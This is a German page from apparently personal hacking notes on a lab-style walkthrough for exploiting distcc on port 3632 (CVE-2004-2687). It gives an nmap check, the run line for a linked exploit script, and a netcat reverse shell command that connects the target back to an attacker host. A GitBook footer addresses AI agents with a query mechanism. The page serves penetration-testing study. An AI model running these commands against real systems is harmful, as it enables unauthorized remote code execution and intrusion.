> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/ports-and-services/distcc-3632.md).

# distcc - 3632

> Distcc ist ein Werkzeug zur Beschleunigung des Kompilierungsprozesses, indem ungenutzte Ressourcen anderer Computer im Netzwerk verwendet werden. Wenn es auf einem Rechner konfiguriert ist, kann es seine Kompilierungsaufgaben an andere Systeme verteilen, auf denen der distccd-Daemon läuft und die über einen kompatiblen Compiler verfügen.

#### Schwachstelle identifiziert

distccd Version 4.2.4 lauscht auf Port 3632 und ist anfällig für CVE-2004-2687. Diese Schwachstelle ermöglicht es einem Angreifer, beliebige Befehle mit den Privilegien des Benutzers auszuführen, unter dem der Daemon läuft (oft ein unprivilegierter Benutzer, dies kann jedoch je nach Konfiguration variieren).

#### Überprüfung der Schwachstelle

Bestätigen Sie die Schwachstelle mit dem folgenden Nmap-Skript:

```bash
nmap -p 3632 10.10.10.3 --script distcc-cve2004-2687
```

Das Ergebnis zeigt, dass der Server tatsächlich verwundbar ist.

<figure><img src="/files/d2bb63df9bc7fcfc762910cf292a1198ea77b130" alt=""><figcaption></figcaption></figure>

### Ausnutzung

#### Ausführen eines Python-Skripts

Nutzen Sie die Schwachstelle mit dem folgenden Python-Skript aus:

{% embed url="<https://github.com/angelpimentell/distcc_cve_2004-2687_exploit>" %}

```bash
python3 main.py -i 10.10.10.3 -p 3632
```

Dies ermöglicht die Ausführung beliebiger Befehle auf dem Zielsystem.

<figure><img src="/files/bd28badf9ef71cb2dbd01beb8676747fa1a6b8c4" alt=""><figcaption></figcaption></figure>

#### Ausführen einer Reverse Shell

Auf Port 443 lauschen:

```bash
nc -nlvp 443
```

Führen Sie auf dem Zielsystem den folgenden Befehl aus, um die Verbindung herzustellen:

```bash
nc 10.10.14.26 443 -e /bin/bash
```

<figure><img src="/files/963d92f2a3f8b77076e8bcbbd3e8fd9a6e27b5eb" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/ports-and-services/distcc-3632.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
